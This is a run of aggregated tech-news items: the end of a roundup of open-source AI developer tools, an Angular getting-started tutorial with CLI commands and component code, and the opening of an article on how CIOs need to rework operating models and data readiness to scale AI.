<p class="wp-block-paragraph">If the popularity of AI coding assistants tells us anything, it’s that all developers—and not just the ones building AI apps—appreciate a little help writing and reviewing their code. <a href="https://github.com/anthropics/claude-code">Claude Code</a> is that pair programmer. Trained on all the major programming languages, <a href="https://www.infoworld.com/article/3853805/vibe-coding-with-claude-code.html">Claude Code can help you write code that is better, faster, and cleaner</a>. It digests a codebase and then starts doing your bidding, while also making useful suggestions. Natural language commands plus some vague hand waving are all the Anthropic LLM needs to refactor, document, or even add new features to your existing code. License: Anthropic’s Commercial TOS.</p>



<h2 class="wp-block-heading">Clawdbot</h2>



<p class="wp-block-paragraph">Many of the tools in this list help developers create code for other people. <a href="https://github.com/clawdbot/clawdbot?tab=readme-ov-file">Clawdbot</a> is the AI assistant for you, the person writing the code. It integrates with your desktop to control built-in tools like the camera and large applications like the browser. A multi-channel inbox accepts your commands through more than a dozen different communication channels including WhatsApp, Telegram, Slack, and Discord. A cron job adds timing. It’s the ultimate assistant for you, the ruler of your data. If AI exists to make our lives easier, why not start by organizing the applications on your desktop? License: MIT.</p>



<h2 class="wp-block-heading">Dify</h2>



<p class="wp-block-paragraph">For projects that require more than just one call to an LLM, <a href="https://github.com/langgenius/dify">Dify</a> could be the solution you’ve been looking for. Essentially a development environment for building complex agentic workflows, Dify stitches together LLMs, RAG databases, and other sources. It then monitors how they perform under different prompts and parameters and puts it all together in a handy dashboard, so you can iterate on the results. Developing agentic AI requires rapid experimentation, and Dify provides the environment for those experiments. License: Modified version of Apache 2.0 to exclude some commercial uses.</p>



<h2 class="wp-block-heading">Eigent</h2>



<p class="wp-block-paragraph">The best way to explore the power and limitations of an agentic workflow is to deploy it yourself on your own machine, where it can solve your own problems. Eigent delivers a workforce of specialized agents for handling tasks like writing code, searching the web, and creating documents. You just wave your hands and issue instructions, and Eigent’s LLMs do their best to follow through. Many startups brag about eating their own dogfood. Eigent puts that concept on a platter, making it easy for AI developers to experience directly the abilities and failings of the LLMs they’re building. License: Apache 2.0.</p>



<h2 class="wp-block-heading">Headroom</h2>



<p class="wp-block-paragraph">Programmers often think like packrats. If the data is good, why not pack in some more? This is a challenge for code that uses an LLM because these services charge by the token, and they also have a limited context window. <a href="https://github.com/chopratejas/headroom">Headroom</a> tackles this issue with agile compression algorithms that trim away the excess, especially the extra labels and punctuation found in common formats like JSON. A big part of designing working AI applications is cost engineering, and saving tokens means saving money. License: Apache 2.0.</p>



<h2 class="wp-block-heading">Hugging Face Transformers</h2>



<p class="wp-block-paragraph">When it comes to starting up a brand-new machine learning project, <a href="https://github.com/huggingface/transformers">Hugging Face Transformers</a> is one of the best foundations available. Transformers offers a standard format for defining how the model interacts with the world, which makes it easy to drop a new model into your working infrastructure for training or deployment. This means your model will interact nicely with all the already available tools and infrastructure, whether for text, vision, audio, video, or all of the above. Fitting into a standard paradigm makes it much easier to leverage your existing tools while focusing on the cutting edge of your research. License: Apache 2.0.</p>



<h2 class="wp-block-heading">LangChain</h2>



<p class="wp-block-paragraph">For agentic AI solutions that require endless iteration, <a href="https://github.com/langchain-ai/langchain">LangChain</a> is a way to organize the effort. It harnesses the work of a large collection of models and makes it easier for humans to inspect and curate the answers. When the task requires deeper thinking and planning, LangChain makes it easy to work with agents that can leverage multiple models to converge upon a solution. LangChain’s architecture includes a framework (LangGraph) for organizing easily customizable workflows with long-term memory, and a tool (LangSmith) for evaluating and improving performance. Its Deep Agents library provides teams of sub-agents, which organize problems into subsets then plan and work toward solutions. It is a proven, flexible test bed for agentic experimentation and production deployment. License: MIT.</p>



<h2 class="wp-block-heading">LlamaIndex</h2>



<p class="wp-block-paragraph">Many of the early applications for LLMs are sorting through large collections of semi-structured data and providing users with useful answers to their questions. One of the fastest ways to customize a standard LLM with private data is to use <a href="https://github.com/run-llama/llama_index">LlamaIndex</a> to ingest and index the data. This off-the-shelf tool provides data connectors that you can use to unpack and organize a large collection of documents, tables, and other data, often with just a few lines of code. The layers underneath can be tweaked or extended as the job requires, and LlamaIndex works with many of the data formats common in enterprises. License: MIT.</p>



<h2 class="wp-block-heading">Ollama</h2>



<p class="wp-block-paragraph">For anyone experimenting with LLMs on their laptop, <a href="https://github.com/ollama/ollama">Ollama</a> is one of the simplest ways to <a href="https://www.infoworld.com/article/2338922/5-easy-ways-to-run-an-llm-locally.html" data-type="link" data-id="https://www.infoworld.com/article/2338922/5-easy-ways-to-run-an-llm-locally.html">download one or more of them and get started</a>. Once it’s installed, your command line becomes a small version of the classic ChatGPT interface, but with the ability to pull a huge collection of models from a growing library of open source options. Just enter: <code>ollama run </code> and the model is ready to go. Some developers are using it as a back-end server for LLM results. The tool provides a stable, trustworthy interface to LLMs, something that once required quite a bit of engineering and fussing. The server simplifies all this work so you can tackle higher level chores with many of the <a href="https://ollama.com/library">most popular open source LLMs</a> at your fingertips. License: MIT.</p>



<h2 class="wp-block-heading">OpenWebUI</h2>



<p class="wp-block-paragraph">One of the fastest ways to put up a website with a chat interface and a dedicated RAG database is to spin up an instance of <a href="https://github.com/open-webui/open-webui">OpenWebUI</a>. This project knits together a feature-rich front end with an open back end, so that starting up a customizable chat interface only requires pulling a few <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker containers</a>. The project, though, is just a beginning, because it offers the opportunity to add plugins and extensions to enhance the data at each stage. Practically every part of the chain from prompt to answer can be tweaked, replaced, or improved. While some teams might be happy to set it up and be done, the advantages come from adding your own code. The project isn’t just open source itself, but a constellation of hundreds of little bits of contributed code and ancillary projects that can be very helpful. Being able to customize the pipeline and leverage the <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP protocol</a> supports the delivery of precision solutions. License: Modified BSD designed to restrict removing OpenWebUI branding without an enterprise license.</p>



<h2 class="wp-block-heading">Sim</h2>



<p class="wp-block-paragraph">The drag-and-drop canvas for <a href="https://github.com/simstudioai/sim">Sim</a> is meant to make it easier to experiment with <a href="https://www.infoworld.com/article/4086884/how-to-automate-the-testing-of-ai-agents.html">agentic workflows</a>. The tool handles the details of interacting with the various LLMs and vector databases; you just decide how to fit them together. Interfaces like Sim make the agentic experience accessible to everyone on your team, even those who don’t know how to write code. License: Apache 2.0.</p>



<h2 class="wp-block-heading">Sloth</h2>



<p class="wp-block-paragraph">One of the most straightforward ways to leverage the power of foundational LLMs is to start with an open source model and fine-tune it with your own data. <a href="https://github.com/unslothai/unsloth">Unsloth</a> does this, often faster than other solutions do. Most major open source models can be transformed with reinforcement learning. Unsloth is designed to work with most of the standard precisions and some of the largest context windows. The best answers won’t always come directly from RAG databases. Sometimes, adjusting the models is the best solution. License: Apache 2.0.</p>



<h2 class="wp-block-heading">vLLM</h2>



<p class="wp-block-paragraph">One of the best ways to turn an LLM into a useful service for the rest of your code is to start it up with <a href="https://github.com/vllm-project/vllm">vLLM</a>. The tool loads many of the available open source models from repositories like Hugging Face and then orchestrates the data flows so they keep running. That means batching the incoming prompts and managing the pipelines so the model will be a continual source of fast answers. It supports not just the CUDA architecture but also AMD CPUs and GPUs, Intel CPUs and GPUs, PowerPC CPUs, Arm CPUs, and TPUs. It’s one thing to experiment with lots of models on a laptop. It’s something else entirely to deploy the model in a production environment. vLLM handles many of the endless chores that deliver better performance. License: Apache-2.0.</p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[Get started with Angular: Introducing the modern reactive workflow]]></title>
<description><![CDATA[Angular is a cohesive, all-in-one reactive framework for web development. It is one of the larger reactive frameworks, focused on being a single architectural system that handles all your web development needs under one idiom. While Angular was long criticized for being heavyweight as compared to...]]></description>
<link>https://tsecurity.de/de/3665664/ai-nachrichten/get-started-with-angular-introducing-the-modern-reactive-workflow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665664/ai-nachrichten/get-started-with-angular-introducing-the-modern-reactive-workflow/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:25 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Angular is a cohesive, all-in-one <a href="https://www.infoworld.com/article/3962039/what-you-need-to-know-about-angular-react-vue-and-svelte-popular-javascript-frameworks-compared.html">reactive framework</a> for web development. It is one of the larger reactive frameworks, focused on being a single architectural system that handles all your web development needs under one idiom. While Angular was long criticized for being heavyweight as compared to <a href="https://www.infoworld.com/article/2253289/react-tutorial-get-started-with-the-reactjs-javascript-library.html">React</a>, many of those issues <a href="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html">were addressed in Angular 19</a>. Modern Angular is built around the <a href="https://blog.angular-university.io/angular-signals">Signals API</a> and minimal formality, while still delivering a one-stop-shop that includes dependency injection and integrated routing.</p>



<p class="wp-block-paragraph">Angular is popular with the enterprise because of its stable, curated nature, but it is becoming more attractive to the wider developer community thanks to its more <a href="https://www.infoworld.com/article/3802707/angular-team-unveils-strategy-for-2025.html">community engaged development philosophy</a>. That, along with its recent technical evolution, make Angular one of the most interesting projects to watch right now.</p>



<h2 class="wp-block-heading">Why choose Angular?</h2>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2336227/whats-the-best-javascript-framework.html">Choosing a JavaScript development framework</a> sometimes feels like a philosophical debate, but it should be a practical decision. Angular is unique because it is strongly opinionated. It doesn’t just give you a view layer; it provides a complete toolkit for building web applications.</p>



<p class="wp-block-paragraph">Like other reactive frameworks, Angular is built around its reactive engine, which lets you bind state (variables) to the view. But if that’s all you needed, one of the smaller, more focused frameworks would be more than enough. What Angular has that some of these other frameworks don’t is its ability to use data binding to automatically synchronize data from your user interface (UI) with your JavaScript objects. Angular also leverages dependency injection and inversion of control to help structure your application and make it easier to test. And it contains more advanced features like server-side rendering (SSR) and static-site generation (SSG) within itself, rather than requiring you to engage a <a href="https://www.infoworld.com/article/3831686/plug-and-play-web-development-with-astro-js.html">meta-framework</a> for either style of development.</p>



<p class="wp-block-paragraph">While Angular might not be your top choice for every occasion, it’s an excellent option for larger projects that require features you won’t get with a more lightweight framework.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html" data-type="link" data-id="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html">Catching up with Angular 19</a>.</strong></p>



<h2 class="wp-block-heading">Getting started with Angular</h2>



<p class="wp-block-paragraph">With those concepts in mind, let’s set up Angular in your development environment. After that, we can run through developing a web application with Angular. To start, make sure you have Node and NPM installed. From the command line, enter:</p>



<pre class="wp-block-code"><code>$ node -v
$ npm -v</code></pre>



<p class="wp-block-paragraph">Next, you can use the Angular CLI to launch a new app:</p>



<pre class="wp-block-code"><code>$ ng new iw-ng</code></pre>



<p class="wp-block-paragraph">You can use the defaults in your responses to the interactive prompts shown here:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/angular1.png?w=1024" alt="A screenshot of a new project setup in the Angular command-line interface." class="wp-image-4123771" width="1024" height="413" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">We now have a basic project layout in the new directory, which you can import into an IDE (such as <a href="https://www.infoworld.com/article/2254808/get-started-with-visual-studio-code.html" data-type="link" data-id="https://www.infoworld.com/article/2254808/get-started-with-visual-studio-code.html">VS Code</a>) or edit directly.</p>



<p class="wp-block-paragraph">Looking at the project layout, you might notice it is fairly lean, a break from Angular projects of the past. The most important parts are:</p>



<ul class="wp-block-list">
<li><code>src/main.ts</code>: This is the main entry point. In older versions of Angular, this file had to bootstrap a module, which then bootstrapped a component. Now, it avoids any verbose syntax, calling bootstrapApplication with your root component directly.</li>



<li><code>src/index.html</code>: The main HTML page that hosts your application. This is the standard index.html that serves all root requests in a web page and contains the  tag where your Angular component will render. It is the “body” that the “spirit” of your code animates.</li>



<li><code>src/app/app.ts</code>: The root component of your application. This single file defines the view logic and the component metadata. In the new “standalone” world, it manages its own imports, meaning you can see exactly what dependencies it uses right at the top of the file. (This is the <code></code> root element that appears in <code>src/index.html</code>.)</li>



<li><code>src/app/app.config.ts</code>: This file is new in modern Angular and replaces the old A<code>ppModule providers</code> array. It is where you configure global services, like the router or HTTP client.</li>



<li><code>angular.json</code>: The configuration file for the CLI itself. It tells the build tools how to process your code, though you will rarely need to touch this file manually anymore.</li>
</ul>



<p class="wp-block-paragraph">Here is the basic flow of how the engine renders these components:</p>



<ol start="1" class="wp-block-list">
<li><strong>The arrival (HTML)</strong>: The browser receives <code>index.html</code>. The <code></code> tag is there, but it’s empty.</li>



<li><strong>The unpacking (JavaScript)</strong>: The browser sees the <code></code> tags at the bottom of the HTML and downloads the JavaScript bundles (your compiled code) from <code>src/app/app.ts</code>.</li>



<li><strong>The assembly (Bootstrap)</strong>: The browser runs that JavaScript. The code “wakes up,” finds the <code></code> tag in the DOM, and dynamically inserts your title, buttons, and lists.</li>
</ol>



<p class="wp-block-paragraph">This flow will be different if you are using server-side rendering (SSR), but we’ll leave that option aside for now. Now that you’ve seen the basic architecture, let’s get into the code.</p>



<h2 class="wp-block-heading">Developing your first web app in Angular</h2>



<p class="wp-block-paragraph">If you open <code>src/app/app.ts</code> (more info <a href="http://app.ts/">here</a>) the component definition looks like this:</p>



<pre class="wp-block-code"><code>import { Component, signal } from '@angular/core';
import { RouterOutlet } from '@angular/router';

@Component({
  selector: 'app-root',
  imports: [RouterOutlet],
  templateUrl: './app.html',
  styleUrl: './app.css'
})
export class App {
  protected readonly title = signal('iw-ng');
}</code></pre>



<p class="wp-block-paragraph">Before we dissect the code, let’s run the app and see what it produces:</p>



<pre class="wp-block-code"><code>$ ng serve</code></pre>



<p class="wp-block-paragraph">You should see a page like this one at <code>localhost:4200</code>:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/angular2.png?w=1024" alt="A screenshot of a Hello, World! app built with Angular." class="wp-image-4123772" width="1024" height="585" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">Returning to the <code>src/app.ts</code> component, notice that there are three main parts of the definition: the class, the metadata, and the view. Let’s unpack these separately.</p>



<h3 class="wp-block-heading">The class (export class App)</h3>



<p class="wp-block-paragraph">Export class <code>App</code> is vanilla TypeScript that holds your component’s data and logic. In our example, <code>title = signal(‘iw-ng’)</code> defines a piece of reactive state. Unlike older versions of Angular where data was just a plain property, here we use a <a href="https://www.solidjs.com/tutorial/introduction_signals">signal</a>. Signals are wrappers around values that notify the template precisely when they change, enabling fine-grained performance.</p>



<h3 class="wp-block-heading">The metadata (@Component)</h3>



<p class="wp-block-paragraph">The <code>@Component</code> decorator tells Angular it is dealing with a component, not just a generic class. There are several elements involved in the decorator’s communication with the engine:</p>



<ul class="wp-block-list">
<li><code>selector: 'app-root'</code>: Defines the custom HTML tag associated with any given component. Angular finds <code></code> in your <code>index.html</code> and renders the component there.</li>



<li><code>imports</code>: In the new Angular era, dependencies are explicit. You list exactly what a component needs (like <code>RouterOutlet</code> or other components) here, rather than hiding them in a separate module file.</li>



<li><code>templateUrl</code>: Points to the external HTML file that defines the view.</li>
</ul>



<h3 class="wp-block-heading">The view (the template)</h3>



<p class="wp-block-paragraph">This is the visual part of the component, defined in <code>app.html</code>. It combines standard HTML with Angular’s template syntax. (JSX handles this part for React-based apps.)</p>



<p class="wp-block-paragraph">We can modify <code>src/app/app.html</code> to see how these three elements work together. To start, delete the default content and add the following:</p>



<pre class="wp-block-code"><code><h1>Hello, {{ title() }}</h1>
</code></pre>



<p class="wp-block-paragraph">The double curly braces <code>{{ }}</code> are called <a href="https://angular.dev/guide/templates/binding">interpolation</a>. Notice the parentheses in <code>title()</code>. We are reading the “title” signal value by calling its function. If you were to update that signal programmatically (e.g., <code>this.title.set('New Value')</code>), the text on the screen would update instantly.</p>



<h2 class="wp-block-heading">Angular’s built-in control flow</h2>



<p class="wp-block-paragraph">Old-school Angular required “structural directives” like <code>*ngIf</code> and <code>*ngFor</code> logic control. These were powerful but required importing <code>CommonModule</code> and learning a specific micro-syntax. Modern Angular uses a built-in control flow that looks like standard JavaScript (similar to other Reactive platforms).</p>



<p class="wp-block-paragraph">To see the new control flow in action, let’s add a list to our component. Update <code>src/app/app.ts</code> as follows, leaving the rest of the file the same:</p>



<pre class="wp-block-code"><code>export class App {
  protected readonly title = signal('iw-ng');
  protected readonly frameworks = signal(['Angular', 'React', 'Vue', 'Svelte']);
  protected showList = signal(true);

  toggleList() {
    this.showList.update(v =&gt; !v);
  }
}</code></pre>



<p class="wp-block-paragraph">While we’re at it, let’s also update <code>src/app/app.html</code> to render this new list (don’t worry about <code></code> for now; it just tells Angular where to render the framing template):</p>



<pre class="wp-block-code"><code><button>Toggle List</button>

@if (showList()) {
  <ul>
    @for (tech of frameworks(); track tech) {
      <li>{{ tech }}</li>
    }
  </ul>
} @else {
  <p>List is hidden</p>
}

</code></pre>



<p class="wp-block-paragraph">The app will now display a list that can be toggled for visibility:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/angular3.png?w=1024" alt="Screenshot of a list that can be toggled on and off for visibility." class="wp-image-4123773" width="1024" height="585" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Matthew Tyson</p></div>



<p class="wp-block-paragraph">This syntax is cleaner and easier to read than the old <code>*ngFor</code> loops:</p>



<ul class="wp-block-list">
<li><code>@if</code> conditionally renders the block if the signal’s value is true.</li>



<li><code>@for</code> iterates over the array. The track keyword is required for performance (it tells Angular how to identify unique items in the list).</li>



<li><code>(click)</code> is an <a href="https://angular.dev/guide/templates/event-listeners">event binding</a>. It lets us run code (the <code>toggleList</code> method) when the user interacts with the button.</li>
</ul>



<h2 class="wp-block-heading">Services: Managing business logic in Angular</h2>



<p class="wp-block-paragraph">Components focus on the view (i.e., what you see). For the business logic that backs the application functionality, we use services.</p>



<p class="wp-block-paragraph">A service is just a class that can be “injected” into a component that needs it. This is Angular’s famous dependency injection system. It allows you to write logic once and reuse it anywhere. It’s a slightly different way of thinking about how an application is wired together, but it gives you real organizational benefits over time.</p>



<p class="wp-block-paragraph">To generate a service, you can use the CLI:</p>



<pre class="wp-block-code"><code>$ ng generate service frameworks</code></pre>



<p class="wp-block-paragraph">This command creates a <code>src/app/hero.ts</code> file. In modern Angular, we define services using the <code>@Injectable</code> decorator. Currently, the <code>src/app/hero.ts</code> file just has this:</p>



<pre class="wp-block-code"><code>import { Injectable } from '@angular/core';

@Injectable({
  providedIn: 'root',
})
export class Frameworks {
  
}</code></pre>



<p class="wp-block-paragraph">Open the file and add a simple method to return our data:</p>



<pre class="wp-block-code"><code>import { Injectable } from '@angular/core';

@Injectable({
  providedIn: 'root', // Available everywhere in the app
})
export class Frameworks {
  getList() {
    return ['Angular', 'React', 'Vue', 'Svelte'];
  }
}</code></pre>



<p class="wp-block-paragraph">The providedIn: <code>'root'</code> metadata is important, it tells Angular to create a single, shared instance of this service for the entire application (you might recognize this as an instance of the <a href="https://en.wikipedia.org/wiki/Singleton_pattern">singleton pattern</a>).</p>



<h3 class="wp-block-heading">Using the service</h3>



<p class="wp-block-paragraph">In the past, we had to list dependencies in the constructor. Modern Angular offers a cleaner way: the <code>inject()</code> function. Subsequently, we can refactor our <code>src/app/app.ts</code> to get its data from the service instead of hardcoding it:</p>



<pre class="wp-block-code"><code>import { Component, inject, signal } from '@angular/core';
import { RouterOutlet } from '@angular/router';
import { Frameworks } from './frameworks'; // Import the service

@Component({
  selector: 'app-root',
  imports: [RouterOutlet],
  templateUrl: './app.html',
  styleUrl: './app.css'
})
export class App {
  private frameworksService = inject(Frameworks); // Dependency Injection
  
  protected readonly title = signal('iw-ng');
  
  // Initialize signal with data directly from the service
  protected readonly frameworks = signal(this.frameworksService.getList());
  protected showList = signal(true);

  toggleList() {
    this.showList.update(v =&gt; !v);
  }
}</code></pre>



<p class="wp-block-paragraph">Dependency injection is a powerful pattern. The component doesn’t need to know where the list came from (it could be coming from an API, a database, or a hard-coded array); it just asks the service for what it needs. This pattern adds a bit of extra work up front, but it delivers a more flexible, organized codebase as the app grows in size and complexity.</p>



<h2 class="wp-block-heading">Routers and routes</h2>



<p class="wp-block-paragraph">Once your application grows beyond a single view, you need a way to navigate between different screens. In Angular, we use the built-in router for this purpose. In our example project, <code>src/app/app.routes.ts </code>is the dedicated home for the router config. Let’s follow the steps for creating a new route.</p>



<p class="wp-block-paragraph">First, we define the route. When you open <code>src/app/app.routes.ts</code>, you will see an exported routes array. This array contains the available routes for your app. Each string name resolves to a component that handles rendering that route. In effect, this is the map of your application’s landscape.</p>



<p class="wp-block-paragraph">In a real application, you’d often have “framing template” material in the root of the app (like the navbar) and then the routes fill in the body content. (Remember that by default, Angular is designed for single-page apps, where navigation does reload the screen, but swaps content.)</p>



<p class="wp-block-paragraph">For now, let’s just get a sense of how the router works. First, create a new component so we have a destination to travel to. In your terminal, run:</p>



<pre class="wp-block-code"><code>$ ng generate component details</code></pre>



<p class="wp-block-paragraph">This will generate a simple <code>details</code> component in the <code>src/app/details</code> directory.</p>



<p class="wp-block-paragraph">Now we can update <code>src/app/app.routes.ts</code> to include this new path. We will also add a “default” path that redirects empty requests to the home view, ensuring the user always lands somewhere:</p>



<pre class="wp-block-code"><code>import { Routes } from '@angular/router';
import { App } from './app'; // Matches src/app/app.ts
import { Details } from './details/details'; // Matches src/app/details/details.ts

export const routes: Routes = [
  { path: '', redirectTo: '/home', pathMatch: 'full' },
  { path: 'home', component: App },
  { path: 'details', component: Details },
];</code></pre>



<p class="wp-block-paragraph">Now if you visit <code>localhost:4200/home</code>, you’ll get the message from the <code>details</code> component: “Details works!”</p>



<p class="wp-block-paragraph">Next, we’ll use the <code>routerLink</code> directive to move between views without refreshing the page. In <code>src/app/app.html</code>,  we create a navigation bar that sits permanently at the top of the page (the “stationary” element), while the router swaps the content below it (the “impermanent” element):</p>



<pre class="wp-block-code"><code><nav>
  <a>Home</a> | 
  <a>Details</a>
</nav>

<hr>

</code></pre>



<p class="wp-block-paragraph">And with that, the application has a navigation flow. The user clicks, the URL updates, and the content transforms, all without the jarring flicker of a browser reload.</p>



<h2 class="wp-block-heading">Parametrized routes</h2>



<p class="wp-block-paragraph">The last thing we’ll look at is handling route parameters, where the route accepts variables in the path. To manage this kind of dynamic data, you define a route with a variable, marked by a colon. Open <code>src/app/app.routes.ts</code> and add a dynamic path:</p>



<pre class="wp-block-code"><code>export const routes: Routes = [
  // ... existing routes
  { path: 'details/:id', component: Details }, 
];</code></pre>



<p class="wp-block-paragraph">The <code>:id</code> is a placeholder. Whether the URL is <code>/details/42</code> or <code>/details/108</code>, this router will receive it because it matches the path. Inside the details component, we have access to this parameter (using the <a href="https://angular.dev/api/router/ActivatedRoute">ActivatedRoute</a> service or the new <a href="https://angular.dev/api/router/withComponentInputBinding">withComponentInputBinding</a>). We can use that value to retrieve the data we need (like using it to recover a detail item from a database).</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">We have seen the core elements of modern Angular: Setting up the environment, building reactive components with signals, organizing logic with services, and tying it all together with interactive routing.</p>



<p class="wp-block-paragraph">Deploying these pieces together is the basic work in Angular. Once you get comfortable with it, you have an extremely powerful platform at your fingertips. And, when you are ready to go deeper, there is a whole lot more to explore in Angular, including:</p>



<ul class="wp-block-list">
<li>State management: Beyond signals, Angular has support for managing complex, application-wide state.</li>



<li>Forms: Angular has a robust system for handling user input.</li>



<li>Signals: We only scratched the surface of signals here. Signals offer a powerful, fine-grained way to manage state changes.</li>



<li>Build: You can learn more about producing production builds.</li>



<li><a href="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html" data-type="link" data-id="https://www.infoworld.com/article/3964105/catching-up-with-angular-19.html">RxJS</a>: Takes reactive programming to the next level.</li>
</ul>
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<title><![CDATA[CIOs must rethink operating models to unlock AI at scale]]></title>
<description><![CDATA[Almost every company has a board or executive AI mandate. Vendors are rolling out agentic AI platforms. The pressure to move is intense.



But the reality on the ground looks different. Eighty-three percent of organizations say data quality is their top AI challenge, and 74% struggle to demonstr...]]></description>
<link>https://tsecurity.de/de/3664901/it-nachrichten/cios-must-rethink-operating-models-to-unlock-ai-at-scale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664901/it-nachrichten/cios-must-rethink-operating-models-to-unlock-ai-at-scale/</guid>
<pubDate>Mon, 13 Jul 2026 12:17:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Almost every company has a <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">board or executive AI mandate</a>. Vendors are rolling out agentic AI platforms. The pressure to move is intense.</p>



<p>But the reality on the ground looks different. Eighty-three percent of organizations say <a href="https://www.cio.com/article/4162306/data-debt-ai-value-killer.html">data quality is their top AI challenge</a>, and 74% struggle to demonstrate ROI, according to Lopez Research. And only 21% report having a mature <a href="https://www.csoonline.com/article/4176485/the-ai-governance-imperative-you-cant-afford-to-ignore-2.html">governance model for AI agents</a>, per Deloitte’s <a href="https://www.deloitte.com/us/en/about/press-room/state-of-ai-report-2026.html" rel="nofollow">2026 State of Enterprise AI</a> report.</p>



<p>“Agentic AI is real, and vendors’ offerings are very real, too,” says <a href="https://www.forrester.com/analyst-bio/boris-evelson/BIO1737" rel="nofollow">Boris Evelson</a>, vice president and principal analyst at Forrester. “However, most enterprises are still not ready to adopt at scale.”</p>



<p><a href="https://www.westmonroe.com/our-team/david-hilborn" rel="nofollow">Dave Hilborn</a>, who leads West Monroe’s Organization, People &amp; Change practice, frames it as a race with three arrows moving forward — one representing AI and tech evolution, one representing organizations and people, and one representing data. “The AI arrow is far out ahead,” he says. “That delta is the readiness gap.”</p>



<p>The gap <a href="https://www.cio.com/article/4192383/its-not-the-it-holding-ai-back-its-the-business-processes.html">isn’t the technology</a>. It’s the foundational work most organizations haven’t done: data readiness, operating models, governance, skills, and culture. The companies making progress aren’t waiting for vendors to solve these problems. They’re tackling the unglamorous work themselves.</p>



<h2 class="wp-block-heading">AI doesn’t tolerate ambiguity</h2>



<p>AI readiness can be framed across six levels — from data foundation at the base to <a href="https://www.cio.com/article/4157466/cios-reimagine-business-processes-to-reap-ai-benefits.html">reinvented business experiences</a> at the top, says <a href="https://www.linkedin.com/in/afsheantalasaz/" rel="nofollow">Afshean Talasaz</a>, former CIO at Colonial Pipeline and now an executive advisor. One of the key areas that doesn’t always get the attention it needs is the operating model.<strong></strong></p>



<p>“The technology playbooks of the past don’t work in the AI world,” Talasaz says. “Those areas were able to tolerate more ambiguity between business and tech teams. AI doesn’t tolerate the same level of ambiguity. It needs clarity.”</p>



<p>That demands a different kind of partnership between IT and the business. AI systems learn from data — records and measurements of what’s actually happening in the business — and then operate within business processes. Unlike traditional software, which is built based on user requirements, AI is sandwiched between the business that produces the data and the business that consumes the outputs.</p>



<p>“AI is requiring IT and business teams to work more closely together, to be clearer about what AI will and will not do — that really close partnership is crucial,” Talasaz says. “It’s not something that will always naturally evolve. It requires a lot of intentionality about how teams need to work together to deliver outcomes.”</p>



<p>The <a href="https://www.cio.com/article/3801027/10-ai-strategy-questions-every-cio-must-answer.html">AI questions CIOs must answer</a> aren’t just technical. Do we have the right operating model? Have we balanced governance and standard operating procedures within the model? Have we organized teams appropriately? All this must be designed within the context of what the business actually needs.</p>



<p>Too many organizations are <a href="https://www.cio.com/article/4159287/most-companies-are-stuck-on-ai-chat.html">bolting AI onto existing processes</a> without redefining roles or workflows, Forrester’s Evelson. “Organizations can either incrementally enhance existing workflows by augmenting capabilities with AI or pursue a more transformative approach by redesigning the process end-to-end.”</p>



<p>The companies getting value are doing the latter.</p>



<h2 class="wp-block-heading">Data debt comes due</h2>



<p>Data readiness remains the most common barrier to scaling AI. “We’ve never fixed this data quality problem in most organizations,” says <a href="https://www.lopezresearch.com/" rel="nofollow">Maribel Lopez</a>, founder and principal analyst at Lopez Research, “and it comes back to haunt a company in spades as they move to AI.”</p>



<p>At Levi Strauss, the foundational work came first. “If you think about the Levi’s business, it’s quite complex — 100 countries, over 3,000 stores, multiple business models,” says <a href="https://www.levistrauss.com/who-we-are/leadership/jason-gowans/" rel="nofollow">Jason Gowans</a>, the company’s chief digital and technology officer. “You can imagine the complexity of gathering all that data to understand how the business is performing. The idea of this single source of truth — that’s been the biggest thing.”</p>



<p>Levi’s now has more than 1,100 standard operating procedures that govern how work gets done on top of SAP. “That’s fertile material to feed to LLMs on how work gets done,” Gowans says.The results are tangible: partner onboarding that once took three to six months to set up EDI exchanges now takes days.</p>



<p>At contract manufacturing company Jabil, <a href="https://www.linkedin.com/in/chase-christensen-b0447/" rel="nofollow">Chase Christensen</a>, segment CIO, took a similar path. “We had to get everyone to understand where the source data resides, put tech in place so consumption is easier, and drive ownership around data and decision rights — so 140,000 employees don’t feel empowered to create their own data sources that fall out of line.”</p>



<p>The data challenge goes beyond quality, Evelson notes. <a href="https://www.cio.com/article/4104444/8-tips-for-rebuilding-an-ai-ready-data-strategy.html">Most organizations’ data isn’t AI-ready</a>; it hasn’t been prepared for how AI systems consume and learn from information. “Data is siloed, poorly governed, and hard to discover, integrate, and trust,” he says.</p>



